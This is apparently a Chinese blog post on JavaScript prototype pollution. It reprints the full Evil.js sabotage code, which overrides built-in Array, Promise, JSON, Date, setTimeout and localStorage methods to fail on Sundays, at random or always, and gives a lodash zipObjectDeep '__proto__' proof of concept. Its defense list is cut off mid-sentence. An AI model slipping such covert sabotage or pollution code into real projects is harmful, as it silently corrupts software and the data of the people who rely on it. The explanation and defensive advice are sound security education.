遭了!JavaScript 代码被投毒了

从Evil.js到Defender.js:一场JavaScript原型污染的攻防实战剖析 本文深入剖析了JavaScript原型污染攻击与防御的实战案例,从Evil.js的恶意代码实现到Defender.js的防护策略。通过分析定时触发、概率性异常等攻击手法,探讨了原型冻结、行为监控等防御技术,为开发者提供全面的安全解决方案。 阅读详情

不知大家是否还记得两年前 Github 出现的一个名为 Evil.js 的项目,其号称专治 996 公司,实际就是给前端项目“投毒”。本文就来聊一聊这个项目背后的故事:原型污染。

原型污染是一种很少被关注但潜在风险严重的安全漏洞,它影响基于原型的编程语言,例如 JavaScript。这种漏洞通过篡改对象的原型链,从而影响所有基于该原型的对象。

基于原型的编程范式

在深入探讨原型污染之前,先来回顾一下 JavaScript基于原型的编程范式。

JavaScript 的原型机制是其面向对象编程模型的核心,它允许对象通过原型链来继承属性和方法。在 JavaScript 中,每个对象都有一个与之关联的原型对象,当试图访问一个对象的属性或方法时,如果该对象本身没有该属性,JavaScript 就会查找该对象的原型对象,看原型对象是否有这个属性。这个过程会一直持续到原型链的末端,即 Object.prototype。

构造函数是用于创建和初始化新对象的特殊函数。当使用 new 关键字调用构造函数时,会创建一个新对象,并将该对象的原型设置为构造函数的 prototype 属性所指向的对象。每个函数都有一个 prototype 属性,这个属性是一个对象,包含了可以由特定类型的所有实例共享的属性和方法。

在 ES6 之前,通常使用非标准的 __proto__ 属性来访问或修改一个对象的原型(尽管许多浏览器都支持它,但它不是 ECMAScript 标准的一部分)。然而,更推荐的做法是使用 Object.getPrototypeOf() 和 Object.setPrototypeOf() 方法来访问和修改对象的原型。

虽然 ES6 引入了 class 和 extends 关键字,这两个关键字提供了一种更接近于传统类继承的语法糖,但实际上它们仍然是基于原型链的。

下面来看一个栗子:

// 定义一个构造函数  
function Car(brand, color) {  
    this.brand = brand;  
    this.color = color;  
}  
  
// 在 Car 的原型上添加一个方法  
Car.prototype.drive = function() {  
    return "The " + this.brand + " " + this.color + " car is driving away.";  
};  
  
// 创建一个 Car 的实例  
let redCar = new Car("BMW", "red");  
  
// 访问实例的属性  
console.log(redCar.brand); // 输出 "BMW"  
console.log(redCar.color); // 输出 "red"  
  
// 调用实例继承自原型的方法  
console.log(redCar.drive()); // 输出 "The BMW red car is driving away."  
  
// 创建一个继承自 Car 的新构造函数  
function ElectricCar(brand, color, batteryRange) {  
    // 调用 Car 的构造函数,继承其属性  
    Car.call(this, brand, color);  
    this.batteryRange = batteryRange;  
}  
  
// 设置 ElectricCar 的原型为 Car 的实例,从而继承 Car 的方法  
ElectricCar.prototype = Object.create(Car.prototype);  
ElectricCar.prototype.constructor = ElectricCar;  
  
// 添加 ElectricCar 特有的方法  
ElectricCar.prototype.recharge = function() {  
    return "The " + this.brand + " is recharging.";  
};  
  
// 创建一个 ElectricCar 的实例  
let tesla = new ElectricCar("Tesla", "blue", 300);  
  
// 访问继承的属性和方法  
console.log(tesla.brand); // 输出 "Tesla"  
console.log(tesla.drive()); // 输出 "The Tesla blue car is driving away."  
  
// 访问 ElectricCar 特有的方法  
console.log(tesla.recharge()); // 输出 "The Tesla is recharging."

在这个例子中定义了一个 Car 构造函数和一个 ElectricCar 构造函数。ElectricCar 通过将其原型设置为 Car 的一个实例来继承 Car 的属性和方法。我们还为 ElectricCar 添加了一个特有的方法 recharge。这样,ElectricCar 的实例 tesla 就可以访问继承自 Car 的属性和方法,以及 ElectricCar 特有的方法。

原型污染

原型污染发生在攻击者能够修改 JavaScript 对象原型时。由于JavaScript的原型链机制,如果攻击者能够操纵或覆盖某些原型对象的属性或方法,那么这种修改将会影响到所有继承自该原型的对象。这可能导致应用的行为异常,甚至被攻击者利用来执行恶意代码或窃取敏感数据。

原型污染通常发生在以下情况:

  • 应用没有正确验证或过滤用户输入,导致恶意代码被插入到对象的原型中。

  • 使用了不安全的第三方库或框架,这些库或框架可能允许原型被意外修改。

下面来了解两个原型污染的实际例子。

Evil.js

2022年某一天,好多前端群都在疯传一个名为 Evil.js 的开源项目,看了一眼,好家伙,不简单啊:

图片

由于这个库传播比较广泛,作者紧急删除了发布在 npm 的包,并发布了声明(保命):

声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。

故事到这里就结束了。那作者是怎么实现的呢?了解原型的小伙伴第一个想到的应该就是作者修改了这些 JavaScript 内置对象的原型。为了验证想法,我们来看看源码:

(global => {
	/**
	 * If the array size is devidable by 7, this function aways fail
	 * @zh 当数组长度可以被7整除时,本方法永远返回false
	 */
	const _includes = Array.prototype.includes;
	Array.prototype.includes = function (...args) {
		if (this.length % 7 !== 0) {
			return _includes.call(this, ...args);
		} else {
			return false;
		}
	};

	/**
	 * Array.map will always be missing the last element on Sundays
	 * @zh 当周日时,Array.map方法的结果总是会丢失最后一个元素
	 */
	const _map = Array.prototype.map;
	Array.prototype.map = function (...args) {
		result = _map.call(this, ...args);
		if (new Date().getDay() === 0) {
			result.length = Math.max(result.length - 1, 0);
		}
		return result;
	}

	/**
	 * Array.fillter has 10% chance to lose the final element
	 * @zh Array.filter的结果有2%的概率丢失最后一个元素
	 */
	const _filter = Array.prototype.filter;
	Array.prototype.filter = function (...args) {
		result = _filter.call(this, ...args);
		if (Math.random() < 0.02) {
			result.length = Math.max(result.length - 1, 0);
		}
		return result;
	}

	/**
	 * setTimeout will alway trigger 1s later than expected
	 * @zh setTimeout总是会比预期时间慢1秒才触发
	 */
	const _timeout = global.setTimeout;
	global.setTimeout = function (handler, timeout, ...args) {
		return _timeout.call(global, handler, +timeout + 1000, ...args);
	}

	/**
	 * Promise.then has a 10% chance will not register on Sundays
	 * @zh Promise.then 在周日时有10%几率不会注册
	 */
	const _then = Promise.prototype.then;
	Promise.prototype.then = function (...args) {
		if (new Date().getDay() === 0 && Math.random() < 0.1) {
			return;
		} else {
			_then.call(this, ...args);
		}
	}

	/**
	 * JSON.stringify will replace 'I' into 'l'
	 * @zh JSON.stringify 会把'I'变成'l'
	 */
	const _stringify = JSON.stringify;
	JSON.stringify = function (...args) {
		return _stringify(...args).replace(/I/g, 'l');
	}

	/**
	 * Date.getTime() always gives the result 1 hour slower
	 * @zh Date.getTime() 的结果总是会慢一个小时
	 */
	const _getTime = Date.prototype.getTime;
	Date.prototype.getTime = function (...args) {
		let result = _getTime.call(this);
		result -= 3600 * 1000;
		return result;
	}

	/**
	 * localStorage.getItem has 5% chance return empty string
	 * @zh localStorage.getItem 有5%几率返回空字符串
	 */
	const _getItem = global.localStorage.getItem;
	global.localStorage.getItem = function (...args) {
		let result = _getItem.call(global.localStorage, ...args);
		if (Math.random() < 0.05) {
			result = '';
		}
		return result;
	}
})((0, eval('this')));

果然,只要原本是在原型上定义的方法,修改方式都是修改原型。那么,只要这段代码安装/插入到前端项目中,就会污染部分 JavaScript 的原型,那么在使用这些原型上的方法时,就会有一定概率出现上面所说的异常情况,这就是原型污染。

lodash

下面再来看一下之前 Lodash 被原型污染的故事,存在问题的版本为 4.17.15。

在 lodash 的 4.17.15 版本中,存在一个原型污染的漏洞。这个漏洞允许攻击者通过特定的函数(如 merge、mergeWith、defaultsDeep、zipObjectDeep)来注入或修改 Object.prototype 的属性。由于这些属性会被添加到所有对象的原型链上,因此它们将影响所有在 JavaScript 环境中创建的对象。

比如,利用 Lodash 的 zipObjectDeep 函数,攻击者可以创建一个对象,并通过特定的键(如 __proto__)来污染原型链。

import _ from 'lodash';
_.zipObjectDeep(['__proto__.z'],[123]);
console.log(z); // 输出 123

漏洞影响:

  • 服务器崩溃:如果攻击者注入了恶意代码或大量数据到原型链中,它可能会导致服务器崩溃或变得无法响应所有请求。

  • 远程代码执行:在某些情况下,攻击者可能能够通过注入特定函数或对象来实现远程代码执行。

预防原型污染

要防止原型污染,可以遵循以下几个步骤和策略:

  • 了解原型污染的原因:

    • 原型污染的根本原因在于JavaScript的原型链继承机制,使得攻击者有可能通过修改对象的原型来影响所有基于该原型创建的实例。

    • 恶意代码的注入,如用户输入或第三方API,如果没有被妥善地校验和清洗,就可能导致原型污染。

  • 使用安全编程实践:

    • 避免直接修改全局对象的原型:尽量使用其他方式扩展功能,而不是直接修改原型。

    • 使用对象的浅拷贝或深拷贝:在创建新的对象时,使用浅拷贝或深拷贝,而不是直接修改原型。

    • 避免在第三方库上修改原型:防止对其他模块产生意外影响。

    • 使用严格模式("use strict"):这有助于捕获一些潜在的原型链污染问题。

  • 验证和清理输入数据:

    • 确保所有的输入数据都经过严格的验证,以防恶意数据造成原型污染。

    • 对于不可信的数据,实施一系列的验证措施,包括数据类型、格式、长度等的检查。

  • 使用冻结对象:

    • 使用Object.freeze()来冻结对象,使其无法被修改。这可以防止攻击者通过修改冻结对象的原型来造成污染。

  • 使用替代数据结构:

    • 在某些情况下,可以使用Map代替普通的JavaScript对象来储存键值对。因为Map不会受到原型污染的影响。

  • 更新和维护第三方库:

    • 保持所使用的第三方库(如lodash等)为最新版本,以利用其中的安全修复。

    • 特别是针对已知存在原型污染问题的库(如 lodash 4.7.12

Apifox 供应链投毒事件深度分析报告 2026年3月,安全监测发现 API 一体化协作平台 Apifox 的桌面端应用遭受严重的供应链投毒攻击。攻击者通过篡改官方 CDN 托管的 JavaScript 文件,利用 Electron 框架未启用 sandbox 的安全缺陷,实现了远程代码执行(RCE)、主机敏感信息窃取、持久化控制与横向移动。该攻击自2026年3月4日开始,持续至3月22日,活跃窗口长达18天,影响范围覆盖全平台 Windows、macOS、Linux 用户。 阅读详情

相关推荐

evil.js:谨慎使用

Evil.js 什么?黑心996公司要让你提桶跑路了? 想在离开前给你们的项目留点小礼物? 偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果: 仅在周日时: 当数组长度可以被7整除时,Array.includes 永远返回false。 Array.map 有5%概率会丢失最后一个元素。 Array.filter 的结果有5%的概率丢失最后一个元素。 Array.forEach 会卡死一段时间。 setTimeout 总是会比预期时间慢1秒才触发。 Promise.then 有10%概率不会触发。 JSON.stringify 有30%概率会把I(大写字母I)变成l(小写字母L)。 Date.getTime() 的结果总是会慢一个小时。 localStorage.getItem 有5%几率返回空字符串。 Math.random() 的取值范围改为0到1.1 声明:本包的

火爆全网的 Evil.js 源码解读

什么?黑心996公司要让你提桶跑路了?想在离开前给你们的项目留点小礼物?偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:当数组长度可以被7整除时,Array.includes永远返回false……

Hull Qin 1万+

evil.js-master.zip

# Evil.js 什么?黑心996公司要让你提桶跑路了? 想在离开前给你们的项目留点小*礼物*? 偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果: * 当数组长度可以被7整除时,`Array.includes` 永远返回false。 * 当周日时,`Array.map` 方法的结果总是会丢失最后一个元素。 * `Array.filter` 的结果有2%的概率丢失最后一个元素。 * `setTimeout` 总是会比预期时间慢1秒才触发。 * `Promise.then` 在周日时有10%不会注册。 * `JSON.stringify` 会把`I`(大写字母I)变成`l`(小写字母L)。 * `Date.getTime()` 的结果总是会慢一个小时。 * `localStorage.getItem` 有5%几率返回空字符串。 * ...

怎么防止同事用Evil.js的代码投毒

最近Evil.js被讨论的很多,项目介绍如下2022-08-22-16-17-24.png项目被发布到npm上后,引起了激烈的讨论,最终因为安全问题被npm官方移除,代码也闭源了作为一个前端老司机,我肯定是反对这种行为,泄私愤有很多种方式,代码里下毒会被git log查到,万一违法了,还不如离职的时候给老板一个大逼兜来的解恨今天我们来讨论一下,如果你作为项目的负责人,如何甄别这种代码下毒下毒手法最...

wang_yu_shun的博客 3221

STM32H743VIT6最小系统板PCB设计全流程(AD09实战教程+封装库分享)

本文详细介绍了基于STM32H743VIT6高性能MCU的最小系统板PCB设计全流程。内容涵盖从项目规划、原理图设计到PCB布局布线的AD09实战操作,重点解析了高速电路设计中的电源、时钟、去耦等关键模块的处理要点与常见陷阱,并分享了经过验证的封装库资源,旨在为工程师提供一套完整、可靠的设计方法与实战参考。

weixin_29194693的博客 120

基于开源项目构建 CFS(网络靶场实战演练)平台

摘要:构建CFS网络靶场可使用多个开源组件组合,包括EVE-NG/GNS3或ContainerLab构建网络环境,Kasm提供工作空间,CALDERA+Atomic Red Team实现攻击模拟,DetectionLab建立防御环境,Malcolm/Arkime进行流量监控,CyRIS提供编排框架,Vulhub/DVWA创建漏洞靶标。关键在于通过API深度集成各组件,同时需注重安全隔离、资源规划及维护成本。建议开发统一管理平台,结合Ansible/Terraform实现自动化部署,打造定制化实战演练环境。(

深山技术宅的博客 1851

速查!你的Apifox可能被投毒

Apifox供应链投毒事件,偷走你的SSH密钥、Git凭证、命令行历史,然后把它们发到攻击者的服务器上。作为开发者,本次事件也敲响了警钟:研发工具类软件往往持有最高级别的系统与环境权限,其供应链安全必须纳入核心安全管控体系,即使是无输出的安全状态下,如果在风险时间段内使用过 Apifox SaaS 桌面客户端,务必按照 “已失陷” 的最高级别完成以下处置。

未央claw 4751

Simulink Test Sequence自动化测试实战:从Excel到模型验证

本文详细介绍了如何利用Excel和MATLAB脚本实现Simulink Test Sequence的自动化测试。通过设计结构化Excel模板管理测试数据,并调用Simulink Test API批量创建与执行测试用例,该方法能显著提升复杂模型单元测试的效率,便于集成到CI/CD流程,实现从数据到验证的全自动化。

weixin_29261711的博客 144

投毒预警 官方 npm 账号失陷导致 32 个包遭投毒 通过 easy-day-js 下载远程有效载荷

一名攻击者接管了一名 Mastra 维护者的账号,并利用该账号对项目进行了大规模篡改。在短短 27 分钟内,他们重新发布了整个 @mastra 目录下的所有包。他们并没有动 Mastra 自身的代码,而是在每个包中都修改了一行代码,添加了一个指向名为 easy-day-js 的伪造组件的隐藏链接——该组件是针对广泛使用的工具 dayjs 的仿冒品。Mastra 是一个开源工具包,软件开发者利用它来构建 AI 应用和智能体(agents)。

tcsecXD的博客 406

3DSlicer冠脉分割实战:从DICOM导入到三维重建的完整流程(附常见问题解决)

本文详细介绍了使用3DSlicer进行冠脉分割的完整流程,从DICOM数据导入到三维重建,涵盖环境配置、视图优化、心脏区域分割及冠脉精细分割等关键步骤。针对常见问题提供实用解决方案,帮助医学影像从业者高效完成心血管结构分析,提升诊断准确性。

weixin_29271053的博客 631

手把手教你学Simulink——基于Simulink的蚁群算法路径规划仿真建模示例

路径规划是机器人导航系统中的核心任务之一,旨在为机器人找到一条安全且高效的路径,使其能够从起点到达目标点,同时避免与障碍物发生碰撞。在开始之前,需要定义工作环境(例如地图),包括起点、终点以及可能存在的障碍物位置。通过本指南,我们介绍了如何基于Simulink结合MATLAB实现蚁群算法的路径规划仿真建模。

MHD0815的博客 223

供应链投毒预警 | 开源供应链投毒202401最新月报来啦!

例如npm仓库的投毒包noblox.js-proxy-server,该投毒包伪装成github项目noblox/noblox.js(https://github.com/noblox/noblox.js.git)进行投毒攻击,主要通过在package.json中定义postinstall指令,postinstall指令在安装投毒包时将自动触发执行包含混淆代码的postinstall.js恶意文件。此外,投毒者开始利用代码内存执行、代码混淆等安全对抗技术来躲避安全检测,这对于投毒包检测来说将面临更大的挑战。

OpenSCACommunity的博客 1674

11、硬件工程师笔试面试——IGBT(2025版本)

IGBT的应用展望与创新趋势表明,随着电子技术的不断发展,IGBT在各个领域都有广泛的应用,如高压电力系统、交通工具、电锅炉、太阳能和风能发电系统等。FS型IGBT(场终止型绝缘栅双极晶体管)在电力传输领域的应用中,通过其独特的设计和特性,有助于确保系统的稳定性和安全性。每种器件都有其独特的优势,能够满足电力传输系统中不同的技术要求。FS型IGBT通常具有正温度系数,这意味着随着温度的升高,导通压降的主要影响因素是载流子迁移率的降低以及集电极和发射极的接触电阻的增加,有助于在高温下维持稳定的性能。

XU157303764的博客 2672

月下载2亿次的npm包遭投毒,我选择了搭建私有 npm 仓库!

被广泛集成到 Angular、React、Node.js 项目中,甚至在 VSCode 插件、create-nx-workspace 脚手架和 CI/CD 工具链中大量使用。2、每次发布的时候,都需要使用npm version v1.x.x 更新版本,并且保证仓库是干净的。在当前软件供应链安全形势日益严峻的背景下,搭建私有仓库不仅是效率优化措施,更是至关重要的安全实践。只要你在这段时间安装了有问题的 Nx 包,你的敏感资产可能已经暴露。请注意,如果你要删除整个包,必须使用 --force 标志。

程序员成长指北 193

Autosar CAN 网络管理测试用例(3)——Repeat Message Timer 时间测试

Autosar CAN 网络管理测试用例(3)——Repeat Message Timer 时间测试

蚂蚁小兵 2467

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

突发!Axios 遭供应链投毒,36亿年下载量JS库沦陷,全平台面临远控风险(附自查/修复全教程)

【紧急预警】Axios供应链投毒事件深度解析:恶意版本axios@1.14.1和axios@0.30.4通过盗取维护者账号发布,植入隐蔽远控木马。攻击者利用虚假依赖plain-crypto-js和postinstall脚本实现全平台无差别攻击,自动清除痕迹增加排查难度。影响范围涵盖前端框架、Node.js服务、CI/CD流水线等场景。本文提供三步紧急处置方案:1)通过三条命令快速自查;2)卸载恶意版本并锁定安全版本;3)设备处置与CI/CD加固。最后反思开源生态安全隐患,建议开发者锁定依赖版本、维护者加强账

weixin_68340504的博客 1832

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

知名前端库 Vant 和 Rspack 遭恶意代码投毒,大家注意升级!

大家好,我是 ConardLi。今天,前端社区又爆发了一起严重的供应链投毒事件。知名开源组件库 Vant 和构建工具 Rspack 遭遇恶意代码注入。事件的开端源于 Vant 的维护者 landluck (应该是被攻击者恶意窃取了 Token)将带有恶意脚本的版本发布到了 npm 仓库。攻击者在 package.json 中添加了 "postinstall": "node lib/utils/su...

奇舞周刊 564

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

著名npm包被毁,GitHub强烈谴责!开源作者因反俄给代码投毒遭猛烈抨击

新智元报道编辑:桃子 拉燕【新智元导读】继此前faker.js开源作者删除所有代码后,近日,开源代码的维护者因反俄给node-ipc库中添加了恶意代码,遭到GitHub社区的强烈谴责。开发者自毁代码,只为不让俄罗斯人使用。据Github上发布的一份公告称,一位流行的开源软件的技术专家和维护者故意破坏了他们自己的代码。他们向非常受欢迎的node-ipc库中添加了恶意代码...

HollisChuang's Blog 1404

全网炸了!5亿人用的Axios竟被投毒,你的密钥还保得住吗?

因为此时此刻,你的代码库可能已经变成了一个随时引爆的火药桶。如果你恰好在那个危险的窗口期点击了安装,那么你引入的绝不仅仅是一个请求库。最令人脊背发凉的是,这次沦陷的中心,竟然是那个几乎统治了所有前端请求的——这就是大多数开发者最容易忽略的盲区:当我们安装一个包时,我们引入的其实是一整个深不可测的生态链。这根本不是简单的代码缺陷,这是一次彻头彻尾的。哪怕是重装系统也在所不惜,因为你面对的,是最高级别的安全沦陷。这意味着,从安装完成的那一秒起,黑客就已经拿到了你系统的“万能钥匙”。

粉丝们务必加入微信粉丝群 542

供应链投毒预警 | 开源供应链投毒202403月报发布啦!(含投毒案例分析)

针对文中分析的恶意投毒包,开发者可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件(可参考总结中提到的组件包信息按格式增减),直接执行扫描命令(OpenSCA-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到文中所披露的投毒包的影响。其中,投毒者最常用的攻击方式依旧是恶意文件执行(45.44%),其攻击流程是利用开源组件包管理器中的自定义指令来执行隐藏在组件安装包中的恶意文件。该恶意Python组件总下载量为737次。

OpenSCACommunity的博客 7303

Axios遭供应链投毒攻击(附排查与紧急补救指南)

2026年3月31日,著名云安全平台 StepSecurity 监测到,在 JavaScript 生态系统中最受欢迎的 HTTP 客户端库 Axios(每周下载量超 3 亿次)遭遇了严重的供应链攻击。攻击者劫持了 Axios 核心维护者(jasonsaayman)的 npm 账户,并在 npm 官方仓库发布了两个被污染的恶意版本:axios@1.14.1 和 axios@0.30.4。

蚁景网安学院 1464

缓存投毒 -- 学习笔记

什么是缓存投毒? 缓存投毒,顾名思义攻击点在于服务端的缓存功能,一些服务端会存储/缓存频繁被请求内容,当多个用户请求同一资源文件时,服务端直接返回事先缓存好的资源,从而减少服务端不必要的工作量。但若缓存的内容是被攻击者篡改过的话,那么所有请求该缓存资源的用户都将受到攻击影响,这就是缓存投毒。 完整的说,缓存投毒分为两步: 找到如何从后端服务器获取包含某种危险的payload的响应; 确保该响应被缓存在服务器,使得受害者请求服务器缓存的资源时,该缓存可成功传递攻击到受害者主机上。 缓存投毒可以是一种破坏性

angry_program的博客 3703

紧急自查!Apifox被投毒,使用者速看:你的Git、SSH、云密钥可能已泄露

2026年3月25日,安全研究人员披露了一起针对知名API协作平台Apifox的供应链投毒攻击。攻击者通过篡改Apifox官方CDN托管的JavaScript文件,在桌面端应用中植入了恶意代码,意图窃取开发者的SSH密钥、Git凭证、命令行历史等敏感信息,并具备远程执行任意代码的能力。此次攻击利用了Apifox基于Electron框架开发的安全缺陷,在未启用沙盒(Sandbox)的情况下,通过网络加载的恶意JS代码获得了本地Node.js环境的完整权限。

static_coder的博客 654

什么?初级程序员才删库跑路,高级的都在代码投毒。。。

不管是删库跑路还是代码投毒,这些都是法律的红线,调侃归调侃,玩笑归玩笑,笑过以后,希望每个开发者都应该有敬畏之心,不然就只能到包吃包住的地方摸鱼了。不管是删库跑路还是代码投毒,这些都是法律的红线,调侃归调侃,玩笑归玩笑,笑过以后,希望每个开发者都应该有敬畏之心,不然就只能到包吃包住的地方摸鱼了。

bdfcfff77fa的博客 926

GitHub中超过3.5万开源代码被投毒

GitHub爆发大规模开源仓库投毒事件,涉及超3.5万个仓库被植入恶意代码。攻击主要针对Go语言、NPM和Docker配置文件,98%受影响项目为长期不维护的仓库。溯源显示攻击始于2019年,近期集中爆发,使用俄罗斯服务器作为C&C控制中心。恶意代码会窃取环境变量、建立持久化连接并横向扩散。GitHub已紧急隔离所有受感染仓库,建议开发者启用MFA、定期轮换API token,并检查项目依赖。该事件凸显开源供应链安全风险,尤其对低维护项目的渗透威胁。

vbnetcx的博客 3万+
上一篇: 学历差,真别学计算机了?
下一篇: 没有二十年功力,写不出这一行代码!
IT界那些事儿
博客等级 码龄6年 2万+粉丝 22原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值